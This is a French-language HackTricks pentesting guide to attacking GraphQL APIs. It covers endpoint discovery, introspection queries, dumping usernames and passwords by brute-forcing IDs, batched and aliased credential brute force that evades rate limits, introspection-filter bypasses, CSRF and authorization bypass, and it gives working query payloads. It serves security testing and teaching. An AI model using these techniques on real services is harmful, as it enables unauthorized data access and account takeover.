mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 21:24:06 +00:00
509 lines
29 KiB
Markdown
509 lines
29 KiB
Markdown
# GraphQL
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Introduction
|
|
|
|
GraphQL agit comme une alternative aux API REST. Les API REST nécessitent que le client envoie plusieurs requêtes à différents points de terminaison de l'API pour interroger les données de la base de données backend. Avec GraphQL, vous n'avez besoin d'envoyer qu'une seule requête pour interroger le backend. C'est beaucoup plus simple car vous n'avez pas à envoyer plusieurs requêtes à l'API, une seule requête peut être utilisée pour collecter toutes les informations nécessaires.
|
|
|
|
## GraphQL
|
|
|
|
À mesure que de nouvelles technologies émergent, de nouvelles vulnérabilités apparaîtront également. Par **défaut**, GraphQL n'implémente **pas** l'**authentification**, il incombe au développeur de l'implémenter. Cela signifie que par défaut, GraphQL permet à n'importe qui de le consulter, toutes les informations sensibles seront disponibles pour les attaquants non authentifiés.
|
|
|
|
Lorsque vous effectuez vos attaques de force brute de répertoire, assurez-vous d'ajouter les chemins suivants pour vérifier les instances de GraphQL.
|
|
|
|
* `/graphql`
|
|
* `/graphiql`
|
|
* `/graphql.php`
|
|
* `/graphql/console`
|
|
* `/api`
|
|
* `/api/graphql`
|
|
* `/graphql/api`
|
|
* `/graphql/graphql`
|
|
|
|
<figure><img src="../../.gitbook/assets/image (6) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Une fois que vous avez trouvé une instance GraphQL ouverte, vous devez savoir **quelles requêtes elle prend en charge**. Cela peut être fait en utilisant le système d'introspection, plus de détails peuvent être trouvés ici : [**GraphQL : un langage de requête pour les API.**\
|
|
Il est souvent utile de demander à un schéma GraphQL des informations sur les requêtes qu'il prend en charge. GraphQL nous permet de le faire...](https://graphql.org/learn/introspection/)
|
|
|
|
### Empreinte
|
|
|
|
L'outil [**graphw00f**](https://github.com/dolevf/graphw00f) est capable de détecter quel moteur GraphQL est utilisé sur un serveur, puis imprime des informations utiles pour l'auditeur de sécurité.
|
|
|
|
#### Requêtes universelles <a href="#universal-queries" id="universal-queries"></a>
|
|
|
|
Si vous envoyez `query{__typename}` à n'importe quel point de terminaison GraphQL, il inclura la chaîne `{"data": {"__typename": "query"}}` quelque part dans sa réponse. C'est ce qu'on appelle une requête universelle, et c'est un outil utile pour sonder si une URL correspond à un service GraphQL.
|
|
|
|
La requête fonctionne parce que chaque point de terminaison GraphQL a un champ réservé appelé `__typename` qui renvoie le type de l'objet interrogé sous forme de chaîne.
|
|
|
|
### Énumération de base
|
|
|
|
GraphQL prend généralement en charge les méthodes **GET**, **POST** (x-www-form-urlencoded) et **POST**(json). Bien que pour des raisons de sécurité, il soit recommandé de n'autoriser que le format json pour éviter les attaques CSRF.
|
|
|
|
#### Introspection
|
|
|
|
Pour utiliser l'introspection afin de découvrir des informations sur le schéma, interrogez le champ `__schema`. Ce champ est disponible sur le type racine de toutes les requêtes.
|
|
```bash
|
|
query={__schema{types{name,fields{name}}}}
|
|
```
|
|
Avec cette requête, vous trouverez le nom de tous les types utilisés :
|
|
|
|
![](<../../.gitbook/assets/image (202).png>)
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
|
|
```
|
|
{% endcode %}
|
|
|
|
Avec cette requête, vous pouvez extraire tous les types, leurs champs et leurs arguments (ainsi que le type des arguments). Cela sera très utile pour savoir comment interroger la base de données.
|
|
|
|
![](<../../.gitbook/assets/image (207) (3).png>)
|
|
|
|
**Erreurs**
|
|
|
|
Il est intéressant de savoir si les **erreurs** vont être **affichées**, car elles fourniront des **informations** utiles.
|
|
```
|
|
?query={__schema}
|
|
?query={}
|
|
?query={thisdefinitelydoesnotexist}
|
|
```
|
|
![](<../../.gitbook/assets/image (205) (1).png>)
|
|
|
|
**Énumérer le schéma de la base de données via l'introspection**
|
|
|
|
{% hint style="info" %}
|
|
Si l'introspection est activée mais que la requête ci-dessus ne fonctionne pas, essayez de supprimer les directives `onOperation`, `onFragment` et `onField` de la structure de la requête.
|
|
{% endhint %}
|
|
```bash
|
|
#Full introspection query
|
|
|
|
query IntrospectionQuery {
|
|
__schema {
|
|
queryType {
|
|
name
|
|
}
|
|
mutationType {
|
|
name
|
|
}
|
|
subscriptionType {
|
|
name
|
|
}
|
|
types {
|
|
...FullType
|
|
}
|
|
directives {
|
|
name
|
|
description
|
|
args {
|
|
...InputValue
|
|
}
|
|
onOperation #Often needs to be deleted to run query
|
|
onFragment #Often needs to be deleted to run query
|
|
onField #Often needs to be deleted to run query
|
|
}
|
|
}
|
|
}
|
|
|
|
fragment FullType on __Type {
|
|
kind
|
|
name
|
|
description
|
|
fields(includeDeprecated: true) {
|
|
name
|
|
description
|
|
args {
|
|
...InputValue
|
|
}
|
|
type {
|
|
...TypeRef
|
|
}
|
|
isDeprecated
|
|
deprecationReason
|
|
}
|
|
inputFields {
|
|
...InputValue
|
|
}
|
|
interfaces {
|
|
...TypeRef
|
|
}
|
|
enumValues(includeDeprecated: true) {
|
|
name
|
|
description
|
|
isDeprecated
|
|
deprecationReason
|
|
}
|
|
possibleTypes {
|
|
...TypeRef
|
|
}
|
|
}
|
|
|
|
fragment InputValue on __InputValue {
|
|
name
|
|
description
|
|
type {
|
|
...TypeRef
|
|
}
|
|
defaultValue
|
|
}
|
|
|
|
fragment TypeRef on __Type {
|
|
kind
|
|
name
|
|
ofType {
|
|
kind
|
|
name
|
|
ofType {
|
|
kind
|
|
name
|
|
ofType {
|
|
kind
|
|
name
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
Requête d'inspection en ligne :
|
|
```
|
|
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
|
```
|
|
La dernière ligne de code est une requête GraphQL qui va extraire toutes les méta-informations du GraphQL (noms des objets, paramètres, types...)
|
|
|
|
![](<../../.gitbook/assets/image (206).png>)
|
|
|
|
Si l'introspection est activée, vous pouvez utiliser [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) pour visualiser dans une interface graphique toutes les options.
|
|
|
|
### Interrogation
|
|
|
|
Maintenant que nous savons quel type d'informations est stocké dans la base de données, essayons d'**extraire certaines valeurs**.
|
|
|
|
Dans l'introspection, vous pouvez trouver **quels objets vous pouvez interroger directement** (car vous ne pouvez pas interroger un objet simplement parce qu'il existe). Dans l'image suivante, vous pouvez voir que le "_queryType_" s'appelle "_Query_" et qu'un des champs de l'objet "_Query_" est "_flags_", qui est également un type d'objet. Vous pouvez donc interroger l'objet flag.
|
|
|
|
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png)
|
|
|
|
Notez que le type de la requête "_flags_" est "_Flags_", et que cet objet est défini comme suit :
|
|
|
|
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png)
|
|
|
|
Vous pouvez voir que les objets "_Flags_" sont composés d'un **nom** et d'une **valeur**. Vous pouvez ensuite obtenir tous les noms et valeurs des flags avec la requête :
|
|
```javascript
|
|
query={flags{name, value}}
|
|
```
|
|
Notez que si l'**objet à interroger** est un **type primitif** comme une **chaîne de caractères** comme dans l'exemple suivant
|
|
|
|
![](<../../.gitbook/assets/image (441).png>)
|
|
|
|
Vous pouvez simplement l'interroger avec:
|
|
```javascript
|
|
query={hiddenFlags}
|
|
```
|
|
Dans un autre exemple où il y avait 2 objets à l'intérieur de l'objet "_Query_" : "_user_" et "_users_". Si ces objets n'ont pas besoin d'arguments pour être recherchés, vous pouvez **récupérer toutes les informations** en demandant simplement les données que vous souhaitez. Dans cet exemple provenant d'Internet, vous pourriez extraire les noms d'utilisateur et les mots de passe enregistrés :
|
|
|
|
![](<../../.gitbook/assets/image (208).png>)
|
|
|
|
Cependant, dans cet exemple, si vous essayez de le faire, vous obtenez cette **erreur** :
|
|
|
|
![](<../../.gitbook/assets/image (210).png>)
|
|
|
|
Il semble que la recherche se fasse en utilisant l'argument "_**uid**_" de type _**Int**_. Quoi qu'il en soit, nous savions déjà cela, dans la section [Énumération de base](graphql.md#basic-enumeration), une requête a été proposée qui nous montrait toutes les informations nécessaires : `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
|
|
|
Si vous lisez l'image fournie lorsque j'exécute cette requête, vous verrez que "_**user**_" avait l'**arg** "_**uid**_" de type _Int_.
|
|
|
|
Ainsi, en effectuant une légère force brute sur l'**uid**, j'ai découvert qu'avec _**uid**=**1**_, un nom d'utilisateur et un mot de passe ont été récupérés :\
|
|
`query={user(uid:1){user,password}}`
|
|
|
|
![](<../../.gitbook/assets/image (211).png>)
|
|
|
|
Notez que j'ai **découvert** que je pouvais demander les **paramètres** "_**user**_" et "_**password**_" car si j'essaie de chercher quelque chose qui n'existe pas (`query={user(uid:1){noExists}}`), j'obtiens cette erreur :
|
|
|
|
![](<../../.gitbook/assets/image (213).png>)
|
|
|
|
Et pendant la phase d'**énumération**, j'ai découvert que l'objet "_**dbuser**_" avait comme champs "_**user**_" et "_**password**_.
|
|
|
|
**Astuce de vidage de chaîne de requête (merci à @BinaryShadow\_)**
|
|
|
|
Si vous pouvez rechercher par un type de chaîne, comme : `query={theusers(description: ""){username,password}}` et que vous **recherchez une chaîne vide**, cela **videra toutes les données**. (_Notez que cet exemple n'est pas lié à l'exemple des tutoriels, pour cet exemple, supposez que vous pouvez rechercher en utilisant "**theusers**" avec un champ de type chaîne appelé "**description**"_).
|
|
|
|
GraphQL est une technologie relativement nouvelle qui commence à gagner en popularité parmi les start-ups et les grandes entreprises. Mis à part l'absence d'authentification par défaut, les points d'extrémité GraphQL peuvent être vulnérables à d'autres bugs tels que l'IDOR.
|
|
|
|
### Recherche
|
|
|
|
Pour cet exemple, imaginez une base de données avec des **personnes** identifiées par leur adresse e-mail et leur nom, et des **films** identifiés par leur nom et leur note. Une **personne** peut être **amie** avec d'autres **personnes** et une personne peut **avoir des films**.
|
|
|
|
Vous pouvez **rechercher** des personnes **par** leur **nom** et obtenir leurs adresses e-mail :
|
|
```javascript
|
|
{
|
|
searchPerson(name: "John Doe") {
|
|
email
|
|
}
|
|
}
|
|
```
|
|
Vous pouvez **rechercher** des personnes **par** leur **nom** et obtenir les **films** auxquels elles sont **abonnées** :
|
|
```javascript
|
|
{
|
|
searchPerson(name: "John Doe") {
|
|
email
|
|
subscribedMovies {
|
|
edges {
|
|
node {
|
|
name
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
Notez comment il est indiqué de récupérer le `name` des `subscribedMovies` de la personne.
|
|
|
|
Vous pouvez également **rechercher plusieurs objets en même temps**. Dans ce cas, une recherche de 2 films est effectuée :
|
|
```javascript
|
|
{
|
|
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
|
|
name
|
|
}
|
|
}r
|
|
```
|
|
Ou même **relations de plusieurs objets différents en utilisant des alias** :
|
|
```javascript
|
|
{
|
|
johnsMovieList: searchPerson(name: "John Doe") {
|
|
subscribedMovies {
|
|
edges {
|
|
node {
|
|
name
|
|
}
|
|
}
|
|
}
|
|
}
|
|
davidsMovieList: searchPerson(name: "David Smith") {
|
|
subscribedMovies {
|
|
edges {
|
|
node {
|
|
name
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
### Mutations
|
|
|
|
**Les mutations sont utilisées pour effectuer des modifications côté serveur.**
|
|
|
|
Dans l'**introspection**, vous pouvez trouver les **mutations déclarées**. Dans l'image suivante, l'objet "_MutationType_" est appelé "_Mutation_" et l'objet "_Mutation_" contient les noms des mutations (comme "_addPerson_" dans ce cas) :
|
|
|
|
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png)
|
|
|
|
Pour cet exemple, imaginez une base de données avec des **personnes** identifiées par leur adresse e-mail et leur nom, et des **films** identifiés par leur nom et leur note. Une **personne** peut être **amie** avec d'autres **personnes** et une personne peut **avoir des films**.
|
|
|
|
Une mutation pour **créer de nouveaux** films dans la base de données peut ressembler à celle-ci (dans cet exemple, la mutation s'appelle `addMovie`) :
|
|
```javascript
|
|
mutation {
|
|
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
|
|
movies {
|
|
name
|
|
rating
|
|
}
|
|
}
|
|
}
|
|
```
|
|
**Notez comment à la fois les valeurs et le type de données sont indiqués dans la requête.**
|
|
|
|
Il peut également y avoir une **mutation** pour **créer** des **personnes** (appelée `addPerson` dans cet exemple) avec des amis et des fichiers (notez que les amis et les films doivent exister avant de créer une personne liée à eux) :
|
|
```javascript
|
|
mutation {
|
|
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
|
person {
|
|
name
|
|
email
|
|
friends {
|
|
edges {
|
|
node {
|
|
name
|
|
email
|
|
}
|
|
}
|
|
}
|
|
subscribedMovies {
|
|
edges {
|
|
node {
|
|
name
|
|
rating
|
|
releaseYear
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
### Regroupement de force brute dans une seule requête API
|
|
|
|
Ces informations ont été extraites de [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
|
|
L'authentification via l'API GraphQL consiste à **envoyer simultanément de nombreuses requêtes avec des identifiants différents** pour les vérifier. Il s'agit d'une attaque de force brute classique, mais il est maintenant possible d'envoyer plus d'une paire de nom d'utilisateur/mot de passe par requête HTTP grâce à la fonctionnalité de regroupement de GraphQL. Cette approche tromperait les applications de surveillance de taux externes en leur faisant croire que tout va bien et qu'il n'y a pas de bot de force brute qui essaie de deviner les mots de passe.
|
|
|
|
Ci-dessous, vous trouverez la démonstration la plus simple d'une demande d'authentification d'application, avec **3 paires d'adresse e-mail/mot de passe différentes à la fois**. Il est évidemment possible d'en envoyer des milliers dans une seule requête de la même manière :
|
|
|
|
![](<../../.gitbook/assets/image (182) (1).png>)
|
|
|
|
Comme nous pouvons le voir sur la capture d'écran de la réponse, les première et troisième requêtes ont renvoyé _null_ et ont reflété les informations correspondantes dans la section _error_. La **deuxième mutation avait les données d'authentification correctes** et la réponse contenait le jeton de session d'authentification correct.
|
|
|
|
![](<../../.gitbook/assets/image (119) (1).png>)
|
|
|
|
## GraphQL sans introspection
|
|
|
|
De plus en plus de **points de terminaison GraphQL désactivent l'introspection**. Cependant, les erreurs que GraphQL génère lorsqu'une requête inattendue est reçue sont suffisantes pour que des outils comme [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) puissent recréer la majeure partie du schéma.
|
|
|
|
De plus, l'extension Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observe les requêtes d'API GraphQL passant par Burp** et **construit** un **schéma** GraphQL interne à chaque nouvelle requête qu'elle voit. Elle peut également exposer le schéma pour GraphiQL et Voyager. L'extension renvoie une fausse réponse lorsqu'elle reçoit une requête d'introspection. En conséquence, GraphQuail affiche toutes les requêtes, arguments et champs disponibles pour une utilisation dans l'API. Pour plus d'informations, [**consultez ceci**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
|
|
|
### Contourner les défenses d'introspection GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
|
|
|
Si vous ne parvenez pas à exécuter des requêtes d'introspection pour l'API que vous testez, essayez d'insérer un **caractère spécial après le mot-clé `__schema`**.
|
|
|
|
Lorsque les développeurs désactivent l'introspection, ils peuvent utiliser une expression régulière pour exclure le mot-clé `__schema` dans les requêtes. Vous devriez essayer des caractères tels que les **espaces**, les **retours à la ligne** et les **virgules**, car ils sont **ignorés** par GraphQL mais pas par une expression régulière défectueuse.
|
|
|
|
Ainsi, si le développeur a seulement exclu `__schema{`, la requête d'introspection ci-dessous ne serait pas exclue.
|
|
```bash
|
|
#Introspection query with newline
|
|
{
|
|
"query": "query{__schema
|
|
{queryType{name}}}"
|
|
}
|
|
```
|
|
Si cela ne fonctionne pas, essayez d'exécuter la sonde avec une méthode de requête alternative, car l'introspection peut être désactivée uniquement pour les requêtes POST. Essayez une requête GET ou une requête POST avec un type de contenu `x-www-form-urlencoded`.
|
|
|
|
### Structures GraphQL divulguées
|
|
|
|
Si l'introspection est désactivée, essayez de consulter le code source du site web. Les requêtes sont souvent préchargées dans le navigateur sous forme de bibliothèques JavaScript. Ces requêtes pré-écrites peuvent révéler des informations puissantes sur le schéma et l'utilisation de chaque objet et fonction. L'onglet `Sources` des outils de développement peut rechercher tous les fichiers pour énumérer les emplacements où les requêtes sont enregistrées. Parfois, même les requêtes protégées par l'administrateur sont déjà exposées.
|
|
```javascript
|
|
Inspect/Sources/"Search all files"
|
|
file:* mutation
|
|
file:* query
|
|
```
|
|
## CSRF dans GraphQL
|
|
|
|
Si vous ne savez pas ce qu'est le CSRF, lisez la page suivante :
|
|
|
|
{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %}
|
|
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
|
|
{% endcontent-ref %}
|
|
|
|
Là-bas, vous allez pouvoir trouver plusieurs points d'extrémité GraphQL **configurés sans jetons CSRF**.
|
|
|
|
Notez que les requêtes GraphQL sont généralement envoyées via des requêtes POST en utilisant le Content-Type **`application/json`**.
|
|
```javascript
|
|
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
|
```
|
|
Cependant, la plupart des points d'extrémité GraphQL prennent également en charge les requêtes POST **`form-urlencoded`**:
|
|
```javascript
|
|
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
|
```
|
|
Par conséquent, comme les requêtes CSRF précédentes sont envoyées **sans requêtes de pré-vérification**, il est possible d'**effectuer** des **modifications** dans le GraphQL en abusant d'une CSRF.
|
|
|
|
Cependant, notez que la nouvelle valeur par défaut du drapeau `samesite` de Chrome est `Lax`. Cela signifie que le cookie ne sera envoyé que depuis un site tiers lors de requêtes GET.
|
|
|
|
Notez également qu'il est généralement possible d'envoyer la **requête de** **query** également en tant que requête **GET** et que le jeton CSRF pourrait ne pas être validé dans une requête GET.
|
|
|
|
De plus, en abusant d'une [**attaque XS-Search**](../../pentesting-web/xs-search.md), il pourrait être possible d'exfiltrer du contenu depuis le point de terminaison GraphQL en abusant des informations d'identification de l'utilisateur.
|
|
|
|
Pour plus d'informations, **consultez l'** [**article original ici**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
|
|
|
|
## Autorisation dans GraphQL
|
|
|
|
De nombreuses fonctions GraphQL définies sur le point de terminaison peuvent uniquement vérifier l'authentification du demandeur mais pas l'autorisation.
|
|
|
|
La modification des variables d'entrée de la requête pourrait entraîner la **fuite** de détails sensibles du compte ([lien](https://hackerone.com/reports/792927)).
|
|
|
|
Une mutation pourrait même entraîner une prise de contrôle du compte en essayant de modifier les données d'autres comptes.
|
|
```javascript
|
|
{
|
|
"operationName":"updateProfile",
|
|
"variables":{"username":INJECT,"data":INJECT},
|
|
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
|
|
}
|
|
```
|
|
### Contourner l'autorisation dans GraphQL
|
|
|
|
[Enchaîner des requêtes](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) peut contourner un système d'authentification faible.
|
|
|
|
Dans l'exemple ci-dessous, vous pouvez voir que l'opération est "forgotPassword" et qu'elle ne devrait exécuter que la requête forgotPassword qui lui est associée. Cela peut être contourné en ajoutant une requête à la fin, dans ce cas nous ajoutons "register" et une variable utilisateur pour que le système s'enregistre en tant que nouvel utilisateur.
|
|
|
|
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
|
|
|
## Contourner la limitation de débit en utilisant des alias
|
|
|
|
Normalement, les objets GraphQL ne peuvent pas contenir plusieurs propriétés avec le même nom. Les alias vous permettent de contourner cette restriction en **nommant explicitement les propriétés que vous souhaitez** que l'API renvoie. Vous pouvez utiliser des alias pour renvoyer **plusieurs instances du même** type d'objet dans une seule requête.
|
|
|
|
Pour plus d'informations sur les alias GraphQL, consultez [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
|
|
|
Bien que les alias soient destinés à limiter le nombre d'appels API que vous devez effectuer, ils peuvent également être utilisés pour effectuer une attaque de force brute sur un point de terminaison GraphQL.
|
|
|
|
De nombreux points de terminaison auront une sorte de **limiteur de débit en place pour empêcher les attaques de force brute**. Certains limiteurs de débit fonctionnent en fonction du **nombre de requêtes HTTP** reçues plutôt que du nombre d'opérations effectuées sur le point de terminaison. Étant donné que les alias vous permettent effectivement d'envoyer plusieurs requêtes dans un seul message HTTP, ils peuvent contourner cette restriction.
|
|
|
|
L'exemple simplifié ci-dessous montre une série de **requêtes avec alias vérifiant si les codes de réduction du magasin sont valides**. Cette opération pourrait potentiellement contourner la limitation de débit car il s'agit d'une seule requête HTTP, même si elle pourrait potentiellement être utilisée pour vérifier un grand nombre de codes de réduction en une seule fois.
|
|
```bash
|
|
#Request with aliased queries
|
|
query isValidDiscount($code: Int) {
|
|
isvalidDiscount(code:$code){
|
|
valid
|
|
}
|
|
isValidDiscount2:isValidDiscount(code:$code){
|
|
valid
|
|
}
|
|
isValidDiscount3:isValidDiscount(code:$code){
|
|
valid
|
|
}
|
|
}
|
|
```
|
|
## Outils
|
|
|
|
### Scanners de vulnérabilités
|
|
|
|
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler) : Ensemble d'outils pouvant être utilisé pour récupérer des schémas et rechercher des données sensibles, tester l'autorisation, forcer les schémas et trouver des chemins vers un type donné.
|
|
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html) : Peut être utilisé en tant qu'extension autonome ou [extension Burp](https://github.com/doyensec/inql).
|
|
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) : Peut être utilisé en tant que client CLI pour automatiser les attaques.
|
|
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) : Outil répertoriant les différentes façons d'atteindre un type donné dans un schéma GraphQL.
|
|
|
|
### Clients
|
|
|
|
* [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql) : Client GUI
|
|
* [https://altair.sirmuel.design/](https://altair.sirmuel.design/) : Client GUI
|
|
|
|
### Tests automatiques
|
|
|
|
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
|
|
|
|
* Vidéo expliquant AutoGraphQL : [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
|
|
|
|
## Références
|
|
|
|
* [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
|
|
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
|
* [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
|
|
* [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/)
|
|
* [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
|
|
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
|
* [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
